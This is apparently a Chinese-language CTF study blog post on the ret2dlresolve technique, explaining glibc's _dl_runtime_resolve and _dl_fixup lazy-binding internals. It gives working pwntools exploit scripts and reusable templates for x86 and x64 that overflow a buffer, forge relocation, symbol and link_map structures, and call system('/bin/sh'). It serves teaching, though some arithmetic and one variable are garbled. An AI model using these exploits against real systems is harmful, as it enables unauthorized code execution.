ret2dl

文章发布时间:

最后更新时间:

延迟绑定运作流程

dl_runtime_resolve运作流程

理解_dl_runtime_resolve的流程需要了解几个段

1、dynamic段

.dynamic段中保存了动态链接器需要的信息,Dynamic Symbol Table(动态链接符号表)、Dynamic String Table(动态链接字符串表)、重定位表等的位置
动调看一下具体情况

ELF32_Dyn的结构如下

1
2
3
4
5
6
7
8
9
typedef struct  
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;

整个结构体为8字节,

2、Dynamic Symbol Table(动态链接符号表)

通常被称为”.dynsym”,readelf -s file可查看,保存了与动态链接相关的符号,”.symtab”中保存了所有符号

3、Dynamic String Table(动态链接字符串表)

通常被称为”.dymstr”,再ida中可以找到,记录了符号的名称。因为.dynsym记录了固定长度的内容,不能描述二进制文件的任意字符串,所以需要该表来存储函数的名称。

过程

(结合动调来看一下)
dl_runtime_resolve(link_map_obj, reloc_index)

它调用了dl_fixup函数 dl_fixup函数又调用了_dl_lookup_symbol_x函数

dl_fixup部分源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
_dl_fixup(struct link_map *l,ElfW(Word) reloc_arg)
{
// 首先通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7
assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);
// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// value为libc基址加上要解析函数的偏移地址,也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

首先通过link_map去找到.dynamic的地址,再分别取出.dynstm .dynstr .rel.plt

其中两个入操作为_dl_runtime_resolve的参数,分别是reloc_index,和link_map的地址

link_map源码如下

1
2
3
4
5
6
7
8
9
10
11
struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */

ElfW(Addr) l_addr; /* Base address shared object is loaded at. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
};

第三个参数即为.dynamic的地址

readelf -d file查看一下.dynamic内容

.dynstm .dynstr和.rel.plt的偏移分别为9,10,16.结合ELF32_Dyn为8字节,实际的值在后面4节,因此可以得到他们的偏移分别是9*8-410*8-4可以对应去取出相应的内容。

rel.plt加上reloc_index就定位了ELF32_Rel指针,即0x804833c + 0

ELF32_Rel源码如下

1
2
3
4
5
6
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;

根据ida中图得知,r_offset即 0x804a00c,是got.plt的地址,最后的解析地址也将会放入这里,r_inf0 = 0x107

而将r_info>>8作为dynsym的下标,即0x107>>8=1 即右移8位

Elf32_Sym的源码如下

1
2
3
4
5
6
7
8
9
typedef struct  
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;

第一个st_name就是.dynstr距离函数名的偏移。

偏移即为20

.dynstr首地址加上0x20就是read的函数名

最后

调用dl_lookup_symbol_x,在动态链接库中搜索。

总结

上述过程总结一下

我们的目的是找到函数名称字符串的地址,交给dl_lookup_symbol_x去libc中寻找。

流程便是获得.dynstr中函数名称字符串的流程

首先通过link_map去找到.dynamic段的地址,因为可以以此得到.dynsym .dynstr .rel.plt的地址

.rel.plt地址 加上 dl_runtime_resolve的第二个参数reloc_index可以得到read的Elf32_Rel

接下来通过由ELF32_Rel第二个成员r_info>>8,即可得到.dynsym中的偏移得到read Elf32_Sym

Elf32_Sym中的第一个参数st_name存放着函数名称字符串距离.dynstr首地址的偏移,如此便得到了函数名称字符串

漏洞点

清楚了上面流程,发现最后dl_lookup_symbol_x函数回去搜索字符串,但是不会检查是否是此时延迟绑定的函数。同时没有检查重定位表的边界,dl_runtime_resolve的第二个参数reloc_index可以很大,超过.rel.plt范围。

因此我们可以伪造第二个参数,使其偏移到我们的可控内存,再按照上面流程,伪造一系列结构,最后让距离

利用

x86

1
2
3
4
5
6
ssize_t vuln()
{
_BYTE buf[40]; // [esp+0h] [ebp-28h] BYREF

return read(0, buf, 0x100u);
}

只有一个read,没有打印函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import*



p = process('./ret2dl')
elf = ELF('./ret2dl')
#libc = ELF("./libc-2.27.so")



#p =remote('node4.anna.nssctf.cn',28537)
context.terminal = ['wt.exe', 'wsl', 'bash', '-c']
context(log_level = 'debug',arch = elf.arch,os = elf.os)



def debug():
    gdb.attach(p)
    pause()



plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr


offset = 0x28 + 4
read_plt = elf.plt['read']
pop_ebx_esi_edi_ebp_ret = 0x080485d8
leave_ret = 0x0804852b
#bss = 0x804a040
base_addr = 0x0804a800


fake_sym_addr=base_addr+32
align=0x10-((fake_sym_addr-dynsym)&0xf) #16字节对齐
fake_sym_addr+=align
st_name=fake_sym_addr+0x10-dynstr
st_info=12
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(st_info) #伪造Elf32_Sym


r_offset = elf.got['read']
r_sym=(fake_sym_addr-dynsym)/0x10
r_type=0x7
r_info=(int(r_sym)<<8)+(r_type&0xf)
reloc_index=base_addr-rel_plt+24
fake_rel_plt=p32(r_offset)+p32(r_info)



#debug()
payload=offset*b'a'
payload+=p32(read_plt)
payload+=p32(pop_ebx_esi_edi_ebp_ret)
payload+=p32(0)
payload+=p32(base_addr)
payload+=p32(100)
payload+=p32(base_addr-4)
payload+=p32(leave_ret)
p.sendline(payload)


debug()
payload1=p32(plt0)
payload1+=p32(reloc_index)
payload1+= p32(0)
payload1+=p32(base_addr+80)
payload1+=p32(0)
payload1+=p32(0)
payload1+=fake_rel_plt
payload1+=align*b'a'
payload1+=fake_sym
payload1+=b'system\x00'
payload1+=(80-len(payload))*b'a'
payload1+=b'/bin/sh\x00'


p.send(payload1)
p.interactive()

x64

x64如果按照x86一样伪造间接控制重定向的各表项,会出现问题。
原因是在_dl_fixup函数执行过程中,访问到了一段未映射的地址

查看dl_fixup的完整源码分析ret2_dl_runtime_resolve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map,也就是got[1]
{
// 获取link_map中存放DT_SYMTAB的地址
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
// 获取link_map中存放DT_STRTAB的地址
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
// reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 根据重定位结构体的r_info得到symtab表中对应的结构体
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7

/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测,检查sym结构体中的st_other是否为0,正常情况下为0,执行下面代码
{
const struct r_found_version *version = NULL;
// 这里也是一层检测,检查link_map中的DT_VERSYM是否为NULL,正常情况下不为NULL,执行下面代码
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
// 到了这里就是64位下报错的位置,在计算版本号时,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,由于我们一般伪造的symtab位于bss段,就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误,自然想到的办法就是不执行这里的代码,分析上面的代码我们就可以得到两种手段,第一种手段就是使上一行的if不成立,也就是设置link_map中的DT_VERSYM为NULL,那我们就要泄露出link_map的地址,而如果我们能泄露地址,根本用不着ret2dlresolve。第二种手段就是使最外层的if不成立,也就是使sym结构体中的st_other不为0,直接跳到后面的else语句执行。
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

RTLD_ENABLE_FOREIGN_CALL;
// 在32位情况下,上面代码运行中不会出错,就会走到这里,这里通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();

RTLD_FINALIZE_FOREIGN_CALL;

/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
// 同样,如果正常执行,接下来会来到这里,得到value的值,为libc基址加上要解析函数的偏移地址,也即实际地址,即result+st_value
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
}
else
{
// 这里就是64位下利用的关键,在最上面的if不成立后,就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使value为我们所需要的函数的地址,所以就得控制两个参数,l_addr 和 st_value
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}

/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);

if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}


因此64位下我们需要控制link_map中l->addr 和sym中st_value
64位下sym的结构体

1
2
3
4
5
6
7
8
9
10
typedef struct  
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;

其中

  • Elf64_Word 32 位
  • Elf64_Section 16 位
  • Elf64_Addr 64 位
  • Elf64_Xword 64 位

所以如果将一个函数的got表地址-0x8作为sym的首地址,那么st_value就是got表地址,st_other也不为0

64位link_map的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct link_map {
Elf64_Addr l_addr;
char *l_name;
Elf64_Dyn *l_ld;
struct link_map *l_next;
struct link_map *l_prev;
struct link_map *l_real;
Lmid_t l_ns;
struct libname_list *l_libname;
Elf64_Dyn *l_info[76]; //l_info 里面包含的就是动态链接的各个表的信息
...
size_t l_tls_firstbyte_offset;
ptrdiff_t l_tls_offset;
size_t l_tls_modid;
size_t l_tls_dtor_count;
Elf64_Addr l_relro_addr;
size_t l_relro_size;
unsigned long long l_serial;
struct auditstate l_audit[];
}

.dynamic对应l_info中的内容

因此我们伪造link_map表时,首先伪造l_info中的3个指针
DT_STRTAB指针,DT_SYMTAB指针,DT_JMPREL指针
后面控制l_addr的值

然后伪造指向的三个elf64_dyn即可,dynstr只需要指向一个可读的地方,因为并没有用到

64位重定位表项与32位不同

1
2
3
4
5
6
7
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;

上面几个类型都为64位,因此结构体大小为24字节

另外就是,在 64 位下,plt 中的代码 push 的是待解析符号在重定位表中的索引,而不是偏移。比如,write 函数 push 的是 0

接下来我们伪造link_map,know_func_ptr为已解析函数的got表地址,offset为system函数与这个函数在libc上的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
 1 from pwn import *
2
3 s=process('./test')
4 elf=ELF('./test')
5 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
6
7 plt0 = elf.get_section_by_name('.plt').header.sh_addr
8 l_addr=libc.sym['system'] - libc.sym['read']
9 st_value=elf.got['read']
10
11 def get_fake_link_map(fake_link_map_addr,l_addr,st_value):
12 #the address of each fake pointer
13 fake_Elf64_Dyn_STR_addr=p64(fake_link_map_addr)
14 fake_Elf64_Dyn_SYM_addr=p64(fake_link_map_addr+0x8)
15 fake_Elf64_Dyn_JMPREL_addr=p64(fake_link_map_addr+0x18)
16 #fake structure
17 fake_Elf64_Dyn_SYM =p64(0)+p64(st_value-0x8)
18 fake_Elf64_Dyn_JMPREL = p64(0)+p64(fake_link_map_addr+0x28)
19 # JMPREL point to the address of .rel.plt,which will be located in fake_link_map_addr+0x28
20 r_offset = fake_link_map_addr - l_addr
21 fake_Elf64_rela =p64(r_offset)+p64(0x7)+p64(0)
22 #fake_link_map
23 fake_link_map =p64(l_addr&(2**64-1))# 0x8
24 fake_link_map+=fake_Elf64_Dyn_SYM # 0x18
25 fake_link_map+=fake_Elf64_Dyn_JMPREL# 0x28
26 fake_link_map+=fake_Elf64_rela # 0x40
27 fake_link_map+=b"\x00"*0x28 # 0x68
28 fake_link_map+=fake_Elf64_Dyn_STR_addr # STRTAB pointer,0x70
29 fake_link_map+=fake_Elf64_Dyn_SYM_addr # SYMTAB pointer,0x78
30 fake_link_map+=b"/bin/sh\x00".ljust(0x80,b'\x00') # 0xf8
31 fake_link_map+=fake_Elf64_Dyn_JMPREL_addr # JMPREL pointer
32 return fake_link_map
33
34
35 pop_rdi_ret = 0x401223
36 pop_rsi_r15_ret = 0x401221
37 ret = 0x4011BE
38 fake_link_map_addr = 0x404050
39
40
41 fake_link_map=get_fake_link_map(fake_link_map_addr,l_addr,st_value)
42
43 payload = b'\x00'*0x28 + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(fake_link_map_addr) + p64(0) + p64(elf.plt['read'])
44 payload += p64(ret) + p64(pop_rdi_ret) + p64(fake_link_map_addr+0x78) + p64(plt0+6) + p64(fake_link_map_addr) + p64(0)
45 payload = payload.ljust(0x200, b'\x00')
46
47 s.sendafter("something:\n",payload)
48
49 s.send(fake_link_map)
50
51 s.interactive()

板子

x86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

index_offset=base_stage+20-rel_plt # .rel.plt
fake_sym_addr=base_stage+28
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) // 0x10
r_info = (index_dynsym << 8)|0x7
fake_rel_plt = p32(read_got) + p32(r_info)
st_name = (fake_sym_addr + 16) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
fake_str= b"system"

payload = b'AAAA' # 4
payload += p32(plt_0) # 8
payload += p32(index_offset) # 12
payload += b'aaaa' # 16
payload += p32(base_stage + 80) # 20 /bin/sh
payload += fake_rel_plt # 28
payload += align * b"B"
payload += fake_sym
payload += fake_str
payload += b"\x00" * (80 - len(payload))
payload += b'/bin/sh\x00'
payload += b"A"*(200 - len(payload))

x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
 1 from pwn import *
2 context(os='linux', arch='amd64', log_level='debug')
3
4 s=process('./test')
5 elf=ELF('./test')
6 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
7
8 plt0 = elf.get_section_by_name('.plt').header.sh_addr
9 l_addr=libc.sym['system'] - libc.sym['read']
10 st_value=elf.got['read']
11
12 def get_fake_link_map(fake_link_map_addr,l_addr,st_value):
13 #the address of each fake pointer
14 fake_Elf64_Dyn_STR_addr=p64(fake_link_map_addr)
15 fake_Elf64_Dyn_SYM_addr=p64(fake_link_map_addr+0x8)
16 fake_Elf64_Dyn_JMPREL_addr=p64(fake_link_map_addr+0x18)
17 #fake structure
18 fake_Elf64_Dyn_SYM =p64(0)+p64(st_value-0x8)
19 fake_Elf64_Dyn_JMPREL = p64(0)+p64(fake_link_map_addr+0x28)
20 # JMPREL point to the address of .rel.plt,which will be located in fake_link_map_addr+0x28
21 r_offset = fake_link_map_addr - l_addr
22 fake_Elf64_rela =p64(r_offset)+p64(0x7)+p64(0)
23 #fake_link_map
24 fake_link_map =p64(l_addr&(2**64-1))# 0x8
25 fake_link_map+=fake_Elf64_Dyn_SYM # 0x18
26 fake_link_map+=fake_Elf64_Dyn_JMPREL# 0x28
27 fake_link_map+=fake_Elf64_rela # 0x40
28 fake_link_map+=b"\x00"*0x28 # 0x68
29 fake_link_map+=fake_Elf64_Dyn_STR_addr # STRTAB pointer,0x70
30 fake_link_map+=fake_Elf64_Dyn_SYM_addr # SYMTAB pointer,0x78
31 fake_link_map+=b"/bin/sh\x00".ljust(0x80,b'\x00') # 0xf8
32 fake_link_map+=fake_Elf64_Dyn_JMPREL_addr # JMPREL pointer
33 return fake_link_map
34
35 '''
36 typedef struct
37 {
38 Elf64_Word st_name; /* Symbol name (string tbl index) */
39 unsigned char st_info; /* Symbol type and binding */
40 unsigned char st_other; /* Symbol visibility */
41 Elf64_Section st_shndx; /* Section index */
42 Elf64_Addr st_value; /* Symbol value */
43 Elf64_Xword st_size; /* Symbol size */
44 }Elf64_Sym;
45
46 typedef struct
47 {
48 Elf64_Addr r_offset; /* Address */
49 Elf64_Xword r_info; /* Relocation type and symbol index */
50 Elf64_Sxword r_addend; /* Addend */
51 }Elf64_Rela;
52
53 typedef struct
54 {
55 Elf64_Sxword d_tag; /* Dynamic entry type */
56 union
57 {
58 Elf64_Xword d_val; /* Integer value */
59 Elf64_Addr d_ptr; /* Address value */
60 } d_un;
61 }Elf64_Dyn;
62 '''

参考链接

ret2dl_resolve - 狒猩橙 - 博客园
ret2dlresolve超详细教程(x86&x64)-CSDN博客
关于ret2_dl_runtime_resolve的学习总结 | ZIKH26’s Blog